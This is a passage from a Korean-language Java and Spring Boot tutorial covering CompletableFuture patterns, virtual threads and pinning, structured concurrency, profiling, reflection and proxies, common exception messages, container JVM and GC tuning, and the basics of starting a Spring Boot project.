.exceptionally(e -> {
    Throwable cause = (e instanceof CompletionException) ? e.getCause() : e;
    if (cause instanceof TimeoutException) return fallback();
    throw new CompletionException(cause);       // 모르는 건 다시 던지기
})

// handle vs whenComplete — 자주 헷갈리는 차이
.handle((val, err) -> err == null ? val : fallback())  // 결과를 '바꿈'
.whenComplete((val, err) -> log(val, err))             // 관찰만, 예외는 그대로 흐름

③ allOf 부분 실패 수집 · ④ 취소와 타임아웃의 배신

// ③ allOf 는 하나만 실패해도 통째로 실패합니다.
//    "성공한 것만 모으고 실패는 따로" 가 실무 요구 — 이렇게 만듭니다
List<CompletableFuture<Result>> fs = ids.stream()
        .map(id -> fetch(id).handle((v, e) ->
                e == null ? Result.ok(v) : Result.fail(id, e)))  // 실패를 값으로
        .toList();
CompletableFuture.allOf(fs.toArray(CompletableFuture[]::new)).join();
Map<Boolean, List<Result>> byOk = fs.stream()
        .map(CompletableFuture::join)
        .collect(Collectors.partitioningBy(Result::isOk));

// ④ cancel() 은 '체인 아래로만' 알려집니다
CompletableFuture<A> up = supplyAsync(...);
CompletableFuture<B> down = up.thenApply(...);
down.cancel(true);
//   up 은 계속 돕니다! 실행 중인 스레드에 인터럽트도 안 갑니다 ★
//   orTimeout(3, SECONDS) 도 같습니다 — future 만 실패시키고
//   뒤에서 원래 작업은 끝까지 돕니다 (자원은 계속 소모)
//   → 진짜 취소가 필요하면: Future.cancel(true)(ExecutorService 제출분)
//     또는 구조적 동시성(다음 섹션)으로 스코프째 취소

// 보너스: MDC·SecurityContext 는 풀 스레드로 안 따라갑니다
Supplier<Map<String,String>> ctx = MDC::getCopyOfContextMap;
var saved = ctx.get();
supplyAsync(() -> { MDC.setContextMap(saved); return work(); }, pool);
// 스프링이면 TaskDecorator 한 번 등록으로 전 지점 해결
면접 압축 — “thenApply 실행 스레드는 완료 시점에 따라 다르다” · “join 은 CompletionException” · “allOf 는 fail-fast 라 부분 수집은 handle 로 실패를 값으로 바꾼다” · “cancel·orTimeout 은 업스트림을 못 세운다”. 이 네 문장이면 깊이가 전달됩니다.
이어 붙이면 더해지고, 함께 시작하면 겹칩니다 — 가로축은 같은 시간축입니다 ① 순차 — thenCompose 로 이어 붙임 사용자 조회 200ms 주문 조회 300ms 배송 조회 250ms 합계 750ms ② 병렬 — 함께 시작하고 allOf 로 기다림 사용자 200ms 주문 300ms 배송 250ms 가장 긴 300ms 하나로 끝납니다 0 250 500 750 ms 함께 정해야 할 두 가지 어느 풀에서 도는가 — 기본은 ForkJoinPool.commonPool 입니다. 블로킹 작업을 여기서 돌리면 전체가 막힙니다 → 전용 Executor 를 넘기세요 (…Async(fn, pool)) 예외는 exceptionally · handle 로 받습니다 — 안 잡으면 join 에서 감싸진 예외로 터집니다. 자바 21+ 라면 구조적 동시성(a09)
순서가 꼭 필요한 것만 잇고, 나머지는 함께 시작하세요.
선 = "이 값이 있어야 시작할 수 있다" — 선이 없는 것끼리는 함께 시작합니다 사용자 200 ms 주문 300 ms 추천 250 ms 쿠폰 100 ms allOf 응답 조립 thenCompose userId 필요 ↑ 왼쪽 셋은 0 ms 에 함께 출발 전부 이으면 200+300+250+100 = 850 ms 선만 따라가면 사용자 → 주문 = 500 ms 가장 긴 경로(붉은 두 원)만 기다립니다 — 추천 · 쿠폰은 그 그늘에 숨습니다 선을 하나 더 그을 때마다 응답이 늦어집니다 — 그 의존이 진짜인지 먼저 확인하세요
순서가 꼭 필요한 것만 잇고, 나머지는 함께 시작하세요.
ADV 08

가상 스레드 — 판이 바뀐 지점 Java 21+

“동시 접속 1만 명을 처리하려고 WebFlux 로 갈아탈까” 고민했다면, 먼저 이걸 보세요. 기존 코드를 거의 그대로 두고 처리량을 올릴 수 있습니다.

무엇이 문제였나

기존 플랫폼 스레드는 OS 스레드와 1:1입니다. 하나에 스택 메모리 약 1MB가 필요해서 수천 개가 한계이고, DB 조회·API 호출 같은 기다리는 시간 동안 그 비싼 스레드가 아무것도 안 하고 묶여 있습니다.

플랫폼 스레드가상 스레드
1개 비용약 1MB약 1KB
동시 개수수천수백만
생성 비용비쌈 (풀 필요)거의 공짜
블로킹 시OS 스레드가 묶임바로 반납, 다른 일 처리
코드 스타일동기 (읽기 쉬움)동기 (그대로)

쓰는 법 — 놀랄 만큼 단순합니다

// 1) 하나 띄우기
Thread.startVirtualThread(() -> {
    var result = restClient.get().uri("/api/orders")
                           .retrieve().body(String.class);   // 블로킹해도 괜찮다
    log.info("{}", result);
});

// 2) 실행자 — 작업마다 새 가상 스레드 (풀이 필요 없음!)
try (var executor = Executors.newVirtualThreadPerTaskExecutor()) {
    List<Future<Order>> futures = ids.stream()
            .map(id -> executor.submit(() -> orderClient.find(id)))
            .toList();
    for (var f : futures) process(f.get());
}   // 자동으로 전부 대기 후 종료

// 3) 10,000개 동시 실행 — 예전엔 상상도 못 했던 코드
try (var ex = Executors.newVirtualThreadPerTaskExecutor()) {
    IntStream.range(0, 10_000).forEach(i ->
        ex.submit(() -> {
            Thread.sleep(1000);      // 1초 대기하는 작업 1만 개
            return i;
        }));
}   // 전체 소요 시간: 약 1초 (플랫폼 스레드였다면 메모리 부족)

스프링 부트에서 켜기 — 설정 한 줄

# application.yml  (Spring Boot 3.2+)
spring:
  threads:
    virtual:
      enabled: true

이 한 줄이면 톰캣의 요청 처리 스레드, @Async, 스케줄러가 전부 가상 스레드로 바뀝니다. 컨트롤러·서비스 코드는 한 글자도 안 고칩니다.

// 직접 지정하고 싶다면
@Bean
public AsyncTaskExecutor applicationTaskExecutor() {
    return new TaskExecutorAdapter(
            Executors.newVirtualThreadPerTaskExecutor());
}

⚠️ 켜기 전에 확인할 것

  • synchronized 안에서 블로킹하면 고정(pinning)됩니다 — 가상 스레드가 캐리어 스레드를 반납하지 못해 이점이 사라집니다. ReentrantLock 으로 바꾸세요. Java 24+ 에서 대부분 해소
  • ThreadLocal 을 캐시로 쓰면 안 됩니다 — 스레드가 수백만 개가 되면 메모리를 그만큼 먹습니다. ScopedValue(다음 섹션)로 대체하세요.
  • DB 커넥션 풀이 새 병목이 됩니다 — 스레드는 100만 개여도 커넥션은 20개뿐입니다. 풀 크기를 함께 조정하세요.
  • CPU 집약 작업에는 이점이 없습니다 — 가상 스레드는 기다리는 작업(I/O)에 효과가 있습니다.
# 고정(pinning) 발생 지점 찾기
java -Djdk.tracePinnedThreads=full -jar app.jar

가상 스레드를 자유롭게 — 이름 · 개수 제한 · 예외까지 손에 넣기

빌더와 팩토리 — “풀 없이” 통제하는 법

// 이름을 붙이세요 — 붙이지 않으면 스택트레이스에 "" 로 나옵니다 ★
Thread t = Thread.ofVirtual()
        .name("order-worker-", 0)        // order-worker-0, 1, 2 …
        .uncaughtExceptionHandler((th, e) ->
                log.error("작업 실패 {}", th.getName(), e))
        .start(() -> process());

// 팩토리로 만들어 실행자에 꽂기 — 팀 표준으로 삼기 좋은 형태
ThreadFactory tf = Thread.ofVirtual().name("api-call-", 0).factory();
try (var ex = Executors.newThreadPerTaskExecutor(tf)) { ... }

// 가상 스레드에는 '풀'이 없습니다. 그럼 동시 개수는 어떻게 막나?
// → 세마포어가 풀의 자리를 대신합니다 ★★
private final Semaphore limit = new Semaphore(100);   // 외부 API 동시 100

Callable<Res> guarded(Callable<Res> task) {
    return () -> {
        limit.acquire();                 // 101번째부터는 여기서 대기
        try { return task.call(); }      //   (가상 스레드라 대기가 공짜)
        finally { limit.release(); }
    };
}
“무제한 생성”이 진짜 함정입니다 — 가상 스레드 100만 개는 공짜지만, 그 100만 개가 동시에 때리는 DB·외부 API 는 공짜가 아닙니다. 스레드를 아끼는 시대에서 다운스트림을 보호하는 시대로 바뀐 것뿐입니다. 경계마다 세마포어 하나 — 이게 가상 스레드 시대의 스레드 풀 크기 튜닝입니다.

알아두면 자유로워지는 것들

// 지금 가상 스레드 위인가? (라이브러리 분기 작성 시)
Thread.currentThread().isVirtual()

// 인터럽트·취소·타임아웃 — 전부 '그대로' 동작합니다
Future<String> f = ex.submit(() -> slowCall());
f.get(3, TimeUnit.SECONDS);        // 타임아웃
f.cancel(true);                    // 인터럽트로 취소

// 데몬 여부·우선순위는 못 바꿉니다 (항상 데몬 · NORM 고정)
// → main 이 끝나면 가상 스레드도 끝 — 배치라면 join 을 잊지 마세요

// CompletableFuture 와 조합 — 실행자만 갈아끼우면 됩니다
var vex = Executors.newVirtualThreadPerTaskExecutor();
CompletableFuture.supplyAsync(() -> userClient.find(id), vex)
                 .orTimeout(2, TimeUnit.SECONDS);

// 관측 — 개수가 수십만이라 jstack 은 못 씁니다
// JFR 이벤트: jdk.VirtualThreadStart / End / Pinned / SubmitFailed
// jcmd <pid> Thread.dump_to_file -format=json dump.json  (전체 덤프)

요약 — 이름 · 예외 핸들러 · 세마포어 · JFR 네 가지를 챙기면 가상 스레드는 “켜 보는 기능”에서 “설계에 쓰는 도구”가 됩니다.

DB가 가상 스레드와 안 친할 때 — 고정(pinning) 진단과 우회 4단계

가상 스레드의 마법은 “블로킹하면 캐리어(OS 스레드)를 반납한다”입니다. 그런데 반납하지 못하는 자리가 있습니다 — 이것이 고정(pinning)이고, 옛날 JDBC 드라이버가 대표적인 범인입니다. 고정된 만큼 캐리어가 잠기면 스레드 풀 시절보다 오히려 느려질 수도 있습니다.

어디서 나고, 어떻게 찾나

// 고정이 생기는 자리 (Java 21~23 기준)
// ① synchronized 블록 '안에서' 블로킹      ← 옛 JDBC 드라이버의 주범
// ② Object.wait() · 네이티브 코드(JNI) 안에서 블로킹
// ③ 파일 I/O 일부 (OS 에 논블로킹 API 가 없어 내부 오프로딩)

// 오래된 드라이버 내부가 대략 이렇습니다
synchronized (connectionMutex) {          // ← 락을 쥔 채
    sendQueryPacket(sql);
    readResultPacket();                   // ← 소켓 대기 = 캐리어 고정 ❌
}

// 진단 ① 실행 플래그 — 고정될 때마다 스택을 찍어 줍니다
java -Djdk.tracePinnedThreads=full -jar app.jar

// 진단 ② JFR — 운영에서는 이쪽 (오버헤드 낮음)
jcmd <pid> JFR.start settings=profile
// 이벤트 jdk.VirtualThreadPinned 를 Mission Control 로 확인
// '20ms 이상 고정' 이 반복되는 스택이 수리 대상입니다
Java 24 부터 (JEP 491) — synchronized 안에서 블로킹해도 캐리어를 반납하도록 JVM 자체가 바뀌었습니다. ①번 고정은 런타임 업그레이드로 사라집니다. 남는 것은 ② 네이티브 경계뿐 — 그래서 아래 우회는 “Java 24 로 못 올리는 동안”과 “JNI 드라이버”를 위한 기술입니다.

우회 — 위에서부터 차례로 시도하세요

// ① 드라이버·런타임 업그레이드 (제일 싸고 확실)
//    MySQL Connector/J 9.x · PostgreSQL 42.6+ 는 synchronized 를
//    ReentrantLock 으로 바꿨습니다. Java 24+ 면 그것만으로도 해결.

// ② 업그레이드 불가 → 블로킹 구간만 '플랫폼 스레드 섬'으로 격리 ★
//    고정될 코드는 어차피 고정되니, 전용 풀에 가두고
//    가상 스레드는 결과만 기다리게 합니다 (기다림은 반납 가능)
private static final ExecutorService JDBC_ISLAND =
        Executors.newFixedThreadPool(20);        // = 커넥션 풀 크기

Order findOrder(long id) throws Exception {
    return JDBC_ISLAND.submit(() -> jdbc.query(...)).get();
    //     ↑ 플랫폼 스레드가 고정을 대신 떠안고
    //     ↑ .get() 대기 중인 가상 스레드는 캐리어를 반납합니다 ✅
}

// ③ 커넥션 수 = 진짜 동시성 한계 — 입구에서 미리 자르기
//    (커넥션 20개에 가상 스레드 1만 개가 몰리면 대기 폭주 + 타임아웃)
private final Semaphore db = new Semaphore(20);  // HikariCP max 와 동일
// + HikariCP: maximumPoolSize=20, connectionTimeout 은 짧게(1~3s)

// ④ 그래도 부족하면 논블로킹 드라이버로 (R2DBC · Vert.x SQL)
//    단, 코드 스타일이 리액티브로 바뀝니다 — 🌊 WebFlux 탭 09번
순서가 중요합니다 — ②의 “섬 패턴”은 코드 전체가 아니라 고정이 실측된 경계 하나에만 씁니다. JFR 로 찾기 전에 여기저기 submit().get() 을 감으면 스레드 풀 시절로 되돌아갈 뿐입니다. 그리고 섬의 크기는 반드시 커넥션 풀 크기와 같게 — 더 크면 의미가 없고 더 작으면 커넥션을 놀립니다.
WebFlux 대신 가상 스레드를 쓸 수 있을까? — 상당수의 경우 그렇습니다. “동시 요청은 많지만 로직은 단순한 I/O 대기”라면 익숙한 동기 코드 + 가상 스레드가 WebFlux 보다 훨씬 유지보수하기 쉽습니다. WebFlux 가 여전히 유리한 경우는 스트리밍·백프레셔가 필요할 때입니다 — 🌊 WebFlux 탭 01번에서 판단 기준을 정리했습니다.
가상 스레드 — 동기 코드로 비동기 성능을 기존 스레드 — OS 스레드와 1:1 하나 만드는 비용이 크고 스택만으로 수백 KB 를 씁니다 — 보통 수천 개가 한계입니다 그래서 요청마다 스레드를 주는 방식이 막혔고, 읽기 어려운 비동기 코드로 우회했습니다 가상 스레드 — JVM 이 관리하는 아주 가벼운 스레드 수십만 개를 만들 수 있고, 기다리는 동안 OS 스레드를 놓아 줍니다 코드는 그대로 동기입니다 — try/catch 도 스택 추적도 평소처럼 읽힙니다 단 기다리는 일에만 이득입니다 — CPU 를 오래 쓰는 계산은 그대로 코어 수만큼입니다 synchronized 블록 안에서 오래 기다리면 OS 스레드를 붙잡습니다 — 그 자리는 ReentrantLock 으로 가상 스레드는 풀에 담지 마세요 — 만들고 버리는 것이 정상적인 사용법입니다
가상 스레드가 바꾼 것은 성능보다 비동기 코드를 안 써도 된다는 점입니다.
ADV 09

구조적 동시성 · 스코프 값 Java 21~26

여러 비동기 작업을 하나의 단위로 묶어 “다 성공하거나 다 취소되거나”를 보장하는 방법입니다.

구조적 동시성

// 문제: 하나가 실패해도 나머지는 계속 돌아 자원을 낭비한다
// 해결: 스코프로 묶어 생명주기를 함께 관리

// ⚠️ 아래 open()/Joiner API 는 2026-08 현재도 여전히 preview 입니다.
//    Java 25 = JEP 505(5차 preview) · Java 26 = JEP 525(6차 preview).
//    컴파일·실행에 --enable-preview 플래그가 필요합니다.
//    Java 26 에서 Joiner.onTimeout() 이 추가돼 스코프 단위 타임아웃을 걸 수 있습니다.
//    Java 21~24 의 preview API 는 형태가 다릅니다:
//    try (var scope = new StructuredTaskScope.ShutdownOnFailure()) { ... }

try (var scope = StructuredTaskScope.open()) {
    // 두 작업을 동시에 시작
    var userTask  = scope.fork(() -> userClient.find(id));
    var orderTask = scope.fork(() -> orderClient.findByUser(id));

    scope.join();                     // 둘 다 끝날 때까지 대기
                                      // 하나가 실패하면 나머지는 자동 취소 ✅
    return new Dashboard(userTask.get(), orderTask.get());
}   // 스코프를 벗어나면 남은 작업은 반드시 정리된다

// 가장 먼저 성공한 것만 쓰기 (여러 공급자 중 빠른 것)
try (var scope = StructuredTaskScope.open(
        StructuredTaskScope.Joiner.<String>anySuccessfulResultOrThrow())) {
    scope.fork(() -> providerA.fetch());
    scope.fork(() -> providerB.fetch());
    return scope.join();
}
CompletableFuture 와 뭐가 다른가 — CompletableFuture 는 작업들이 서로 남남이라 하나가 실패해도 나머지를 손으로 취소해야 합니다. 구조적 동시성은 try 블록처럼 범위를 벗어나면 반드시 정리됩니다.

ScopedValue — ThreadLocal 의 후계

// ThreadLocal 의 문제: 언제 지워야 할지 모르고, 가상 스레드에선 메모리 폭증
private static final ThreadLocal<User> CURRENT = new ThreadLocal<>();
CURRENT.set(user);
try { ... } finally { CURRENT.remove(); }   // 빼먹으면 누수

// ScopedValue — 범위가 끝나면 자동으로 사라진다 (불변)
private static final ScopedValue<User> CURRENT_USER = ScopedValue.newInstance();

ScopedValue.where(CURRENT_USER, loginUser)
           .run(() -> {
               service.process();          // 이 안에서는 어디서든 읽을 수 있다
           });                             // 끝나면 자동 해제 ✅

// 읽는 쪽
void deepInside() {
    User u = CURRENT_USER.get();
}

요청 단위의 로그인 사용자·추적 ID·테넌트 정보를 넘길 때 씁니다. 메서드 파라미터로 계속 넘기지 않아도 되면서, ThreadLocal 처럼 새지 않습니다.

ADV 10

성능 튜닝 · 프로파일링

측정 없는 최적화는 대부분 헛수고입니다. 어디가 느린지 먼저 찾는 도구부터 익히세요.

측정 도구

도구언제
JFR (Flight Recorder)운영 중 상시 기록. 부하 1% 미만. 1순위
async-profilerCPU·할당 병목을 불꽃 그래프로
VisualVM / JMCGUI 로 힙·스레드 관찰
jcmd · jstack서버에서 즉시 덤프
JMH마이크로 벤치마크 (정확한 측정)
Actuator + Micrometer운영 지표 상시 수집
# JFR — 60초 기록
jcmd <pid> JFR.start duration=60s filename=rec.jfr
# 시작할 때부터 기록
java -XX:StartFlightRecording=duration=60s,filename=r.jfr -jar app.jar

체감이 큰 순서대로

  • ① DB 쿼리 — 웹 애플리케이션 성능 문제의 8할. N+1, 인덱스 누락, 불필요한 findAll()
  • ② 외부 API 호출 — 순차 호출을 병렬로, 타임아웃·커넥션 풀 설정
  • ③ 객체 생성량 — 반복문 안의 문자열 +, 불필요한 DTO 변환
  • ④ 잘못된 자료구조 — 반복문 안의 list.contains()
  • ⑤ 락 경합 — 스레드 덤프에 BLOCKED 가 몰려 있는지
  • ⑥ GC 옵션 — 여기까지 왔으면 이미 앞의 다섯을 다 본 뒤
"코드 최적화"보다 먼저 — 캐시 한 줄(@Cacheable)이나 인덱스 하나가 코드 리팩터링 100줄보다 효과가 큰 경우가 대부분입니다.
ADV 11

리플렉션 · 애너테이션 · 프록시

스프링이 “마법처럼” 동작하는 원리가 여기 있습니다. 직접 쓸 일은 드물어도 알면 스프링이 안 무섭습니다.

리플렉션 — 실행 중에 클래스를 들여다보기

Class<?> clazz = order.getClass();
clazz.getSimpleName();                      // "Order"
clazz.getDeclaredFields();                  // 필드 목록
clazz.getDeclaredMethods();                 // 메서드 목록

// 애너테이션이 붙었는지 확인
if (clazz.isAnnotationPresent(Service.class)) { ... }

// 값 읽기·쓰기 (private 도 가능)
Field f = clazz.getDeclaredField("amount");
f.setAccessible(true);
int amount = (int) f.get(order);

// 메서드 호출
Method m = clazz.getMethod("pay");
m.invoke(order);

// 객체 생성
Object o = clazz.getDeclaredConstructor().newInstance();
느리고 위험합니다. 컴파일러의 타입 검사를 우회하므로 오타가 런타임 예외로 나옵니다. 프레임워크를 만들 때가 아니면 직접 쓸 일이 거의 없습니다.

직접 만드는 애너테이션

@Target(ElementType.METHOD)          // 어디에 붙일 수 있나
@Retention(RetentionPolicy.RUNTIME)  // 언제까지 살아있나 (리플렉션엔 RUNTIME 필수)
public @interface LogExecutionTime {
    String value() default "";
}

// 사용
@LogExecutionTime("주문 처리")
public void process(Order o) { ... }

// 읽는 쪽 (보통은 AOP 가 대신 해 줍니다)
Method m = ...;
if (m.isAnnotationPresent(LogExecutionTime.class)) {
    String label = m.getAnnotation(LogExecutionTime.class).value();
}

프록시 — 스프링 AOP 의 정체

// 원본 객체를 감싼 '대역'을 만들어 앞뒤에 코드를 끼운다
Object proxy = Proxy.newProxyInstance(
    loader, new Class[]{Notifier.class},
    (p, method, args) -> {
        long t = System.nanoTime();
        Object result = method.invoke(target, args);   // 원본 호출
        log.info("{} took {}ms", method.getName(),
                 (System.nanoTime() - t) / 1_000_000);
        return result;
    });
이게 @Transactional이 동작하는 방식입니다. 스프링이 프록시를 만들어 메서드 앞에서 트랜잭션을 시작하고 뒤에서 커밋합니다. 그래서 같은 클래스 안에서 자기 메서드를 호출하면 프록시를 안 거쳐서 안 먹습니다 — 🗄️ 데이터 탭 14번에서 자세히 다룹니다.
ADV 12

에러 메시지 사전 — 이게 뜨면 여기를

자바에서 만나는 예외는 놀랍도록 정해져 있습니다. 스택 트레이스는 아래에서 위로 읽으세요 — 맨 아래가 근본 원인입니다.

메시지원인해결
NullPointerException
Cannot invoke "X.y()" because "z" is null
null 인 값에 뭔가를 호출
(Java 14+ 는 어느 변수인지 알려 줌)
메시지에 나온 변수를 추적. Optional·Objects.requireNonNull
ClassCastException잘못된 형변환instanceof 패턴으로 먼저 확인
ConcurrentModificationException순회 중에 컬렉션을 수정removeIf() 또는 Iterator.remove()
IndexOutOfBoundsException없는 인덱스 접근인덱스는 0 ~ size()-1
NumberFormatException숫자로 못 바꾸는 문자열trim() 후 변환, 또는 try/catch
StackOverflowError재귀가 안 끝남종료 조건 확인. 상호 참조 toString()도 원인
OutOfMemoryError: Java heap space힙 부족힙 덤프 분석. findAll()·static 컬렉션 의심
OutOfMemoryError: Metaspace클래스가 계속 로딩됨프록시·동적 클래스 생성 과다. 핫 리로드 반복
NoSuchMethodError
NoClassDefFoundError
컴파일할 때와 실행할 때 라이브러리 버전이 다름 ./gradlew dependencies로 충돌 확인 후 버전 고정
UnsupportedOperationExceptionList.of() 같은 불변 컬렉션 수정new ArrayList<>(list)로 복사
IllegalStateException지금 상태에서 하면 안 되는 호출메시지를 읽으면 대개 바로 나옵니다
BeanCurrentlyInCreationException스프링 빈 순환 참조설계 분리, 또는 @Lazy (임시방편)
LazyInitializationException영속성 컨텍스트 밖에서 지연 로딩페치 조인 · DTO 변환 — 🗄️ 08번 참고
포트 8080 already in use이미 떠 있는 프로세스lsof -i:8080 / netstat -ano | findstr 8080

스택 트레이스 읽는 법

java.lang.NullPointerException: Cannot invoke "Order.getAmount()"
        because "order" is null                         ← ② 무엇이 문제인지
    at com.myapp.service.OrderService.calc(OrderService.java:42)   ← ① 내 코드! 여기부터 보기
    at com.myapp.web.OrderController.get(OrderController.java:28)  ← 호출한 곳
    at org.springframework.web...                        ← 프레임워크 (읽을 필요 없음)
    ... 47 more
Caused by: java.sql.SQLException: connection timed out   ← ③ 진짜 원인은 여기!
    at com.zaxxer.hikari...
순서 — ① 내 패키지명이 처음 나오는 줄을 찾고 ② 맨 윗줄의 예외 종류와 메시지를 읽고 ③ Caused by: 가 있으면 가장 마지막 것이 근본 원인입니다. 프레임워크 내부 스택은 대부분 볼 필요가 없습니다.
ADV 13

운영 JVM 튜닝 — 컨테이너 · 힙 · GC

요즘 자바는 대부분 도커 안에서 돕니다. 그 환경의 규칙은 조금 다릅니다.

컨테이너에서 제일 먼저 하는 설정

# ❌ 흔한 실수 — 컨테이너 메모리를 무시하고 고정
java -Xmx2g -jar app.jar
   → 컨테이너 한도가 1GB 면 힙만으로 초과 → OOMKilled(exit 137)
   → 애플리케이션 로그에는 아무것도 안 남습니다 (커널이 죽인 것)

# ✅ 컨테이너 한도의 비율로 지정 (Java 10+ 기본으로 컨테이너를 인식)
java -XX:MaxRAMPercentage=75.0 \
     -XX:InitialRAMPercentage=75.0 \
     -jar app.jar
JVM 이 쓰는 메모리 = 힙만이 아닙니다. 메타스페이스·스레드 스택(스레드당 1MB)·코드 캐시·다이렉트 버퍼가 힙 밖에 더 붙습니다. 그래서 힙을 컨테이너 한도의 100% 로 주면 반드시 죽습니다. 70~75% 가 안전한 출발점입니다.

운영에서 늘 넣는 옵션

-XX:MaxRAMPercentage=75.0
-XX:+HeapDumpOnOutOfMemoryError          # ★ OOM 순간을 파일로 남긴다
-XX:HeapDumpPath=/dump/heap.hprof        #   (영속 볼륨이어야 재시작 후에도 남음)
-XX:+ExitOnOutOfMemoryError              # 반쯤 죽은 채 서비스하지 말고 재시작
-Xlog:gc*:file=/log/gc.log:time,uptime:filecount=5,filesize=10M
-Dfile.encoding=UTF-8
-Duser.timezone=Asia/Seoul               # ★ 컨테이너 기본은 UTC 입니다
OOM 은 “증상”이지 원인이 아닙니다. 힙 덤프를 받아 MAT 나 IntelliJ 프로파일러로 열면 “어떤 객체가 몇 개, 누가 붙잡고 있는지”가 바로 보입니다. 범인은 대부분 무한히 커지는 캐시이거나 정리 안 된 ThreadLocal 입니다.

GC 고르기 — Java 21 기준

GC이럴 때
G1 (기본)대부분의 웹 서비스. 힙 4~32GB 에서 무난합니다. 고민되면 그냥 G1
ZGC정지 시간이 중요할 때. 힙이 커도 1ms 미만 정지. -XX:+UseZGC Java 25 기준 (세대형은 23부터 기본, ZGenerational 플래그는 24부터 폐기)
Parallel배치처럼 처리량만 중요하고 멈춰도 되는 작업
Serial컨테이너가 아주 작을 때(1 vCPU). 사이드카·작은 유틸
# p99 가 GC 때문에 튄다면 (gc.log 에서 200ms+ 정지가 보임)
-XX:+UseZGC     # 세대형 ZGC 는 Java 23부터 기본 (ZGenerational 플래그는 24부터 폐기)

# G1 을 계속 쓰면서 정지 시간만 낮추고 싶다면
-XX:MaxGCPauseMillis=100     # 목표치일 뿐, 보장은 아닙니다
GC 옵션부터 만지는 것은 거의 항상 잘못된 순서입니다. GC 가 자주 도는 진짜 이유는 대개 객체를 너무 많이 만드는 코드입니다. (한 번에 100만 건 조회, 문자열 반복 연결, 불필요한 DTO 변환) 코드를 고치면 GC 는 저절로 조용해집니다.

기동 시간 — 오토스케일에 직결됩니다

  • 트래픽이 몰려 서버를 늘릴 때 부팅이 60초면 이미 늦습니다
  • CDS(클래스 데이터 공유)로 기동 20~30% 단축 — -XX:ArchiveClassesAtExit Spring Boot 3.3+
  • 스프링의 지연 초기화는 첫 요청이 느려지므로 운영에서는 권하지 않습니다
  • 기동 직후 느린 것(JIT 워밍업)은 정상 — readiness 프로브로 트래픽 투입을 늦추세요
더 나아가려면 ⚡ 대규모 트래픽 탭의 k02(병목 지도)·k14(관측)·k15(부하 테스트) 를 이어서 보세요. JVM 튜닝은 측정한 뒤에 하는 마지막 단계입니다.
SPRING BOOT 4.x · REST API 를 끝까지

스프링은
“대신 만들어 주는”
도구다

스프링 부트가 하는 일은 결국 하나입니다 — 객체를 대신 만들어서 필요한 곳에 넣어 주고, 흔한 설정을 미리 다 해 두는 것. 이 탭은 빈 프로젝트에서 배포 가능한 REST API 까지를 순서대로 따라갑니다.

18SECTIONS
4.1Spring Boot
1줄로 서버 실행
0XML 설정
BOOT 01

스프링 부트가 하는 일

“왜 이렇게 편한가”를 먼저 알면 나중에 안 될 때 어디를 봐야 할지 알게 됩니다.

① 객체를 대신 만들고 연결한다 (DI)

❌ 직접 만들면
var repo = new OrderRepository(dataSource);
var mailer = new EmailNotifier(smtpConfig);
var service = new OrderService(repo, mailer);
var controller = new OrderController(service);
// 하나 바뀌면 줄줄이 고쳐야 한다
✅ 스프링이 하면
@Service
public class OrderService {
    private final OrderRepository repo;
    private final Notifier notifier;

    // 생성자만 만들어 두면 스프링이 알아서 넣어 준다
    public OrderService(OrderRepository repo, Notifier notifier) {
        this.repo = repo;
        this.notifier = notifier;
    }
}

② 흔한 설정을 미리 해 둔다 (자동 설정)

spring-boot-starter-webmvc 하나를 넣으면 톰캣 서버 · JSON 변환기 · 에러 페이지 · 정적 리소스 처리가 전부 딸려옵니다. spring-boot-starter-data-jpa를 넣으면 DataSource · 커넥션 풀 · 트랜잭션 매니저 · EntityManager가 자동으로 준비됩니다.

스타터의 뜻 — “이 기능에 필요한 라이브러리 묶음 + 자동 설정”. 버전도 서로 맞는 조합으로 고정돼 있어서 버전 충돌을 신경 쓸 필요가 없습니다.
Boot 4 에서 스타터 이름이 바뀌었습니다 — 옛 블로그·강의 자료를 그대로 복붙하면 의존성을 못 찾습니다.
spring-boot-starter-web → spring-boot-starter-webmvc
spring-boot-starter-aop → spring-boot-starter-aspectj
spring-boot-starter-oauth2-client → spring-boot-starter-security-oauth2-client
spring-boot-starter-web-services → spring-boot-starter-webservices
이 가이드는 전부 새 이름으로 적혀 있습니다. 3.x 코드를 갖고 있다면 BOOT 18 — Boot 3 → 4 마이그레이션 을 먼저 보세요.

③ 서버를 내장한다

@SpringBootApplication          // 이 한 줄이 아래 셋을 합친 것
// = @Configuration + @EnableAutoConfiguration + @ComponentScan
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

WAR 를 만들어 톰캣에 올리던 시절과 달리, jar 하나에 서버가 들어 있어 java -jar app.jar 로 끝납니다.

요청이 흘러가는 길

1
클라이언트 → 내장 톰캣HTTP 요청 도착. 스레드 하나를 배정합니다(가상 스레드면 거의 무제한).
▼
2
DispatcherServlet스프링의 관문. URL 을 보고 어느 컨트롤러로 보낼지 결정합니다.
▼
3
필터 · 인터셉터인증, 로깅, CORS. 여기서 막히면 컨트롤러까지 안 옵니다.
▼
4
@RestControllerJSON → 객체 변환, 검증. 여기엔 로직을 두지 않습니다.
▼
5
@Service실제 비즈니스 로직. 트랜잭션 경계가 보통 여기입니다.
▼
6
@RepositoryDB 접근. JPA·MyBatis·JdbcTemplate.
▼
7
DB결과가 역순으로 돌아가 JSON 으로 직렬화되어 응답됩니다.
스프링 부트가 대신해 주는 세 가지 ① 스타터 — 필요한 것을 묶어서 spring-boot-starter-web 한 줄이면 서버 · JSON · 검증까지 버전이 맞춰져 들어옵니다 라이브러리 버전 충돌을 맞추는 일이 사라집니다 ② 자동 설정 — 있으면 알아서 켭니다 DB 드라이버가 있으면 DataSource 를, 웹이 있으면 MVC 를 기본값으로 구성합니다 내가 직접 만든 빈이 있으면 그쪽을 우선합니다 — 필요한 것만 덮어쓰면 됩니다 ③ 내장 서버 — jar 하나로 실행 톰캣이 안에 들어 있어 java -jar 로 바로 뜹니다 — 컨테이너 배포와 잘 맞습니다 예전의 WAR 배포와 별도 서버 설치가 사라진 지점입니다 대신 무엇이 자동으로 켜졌는지 모르면 헤맵니다 — --debug 로 자동 설정 보고서를 볼 수 있습니다
부트의 값은 기능 추가가 아니라 설정을 안 쓰게 만든 것입니다.
BOOT 02

프로젝트 시작하기

5분이면 도는 서버를 만들 수 있습니다.

1) 프로젝트 생성

start.spring.io 에서 만들거나, IntelliJ 의 New Project → Spring Initializr. 고를 것은 넷뿐입니다.

항목선택
ProjectGradle - Kotlin (또는 Groovy)
LanguageJava
Spring Boot최신 4.1.x (3.x 는 2026-06 로 OSS 지원 종료)
Java25 권장 (Boot 4 는 17~26 지원)

처음 담을 의존성

  • Spring Web — REST API (필수)
  • Lombok — 보일러플레이트 제거
  • Spring Data JPA — DB
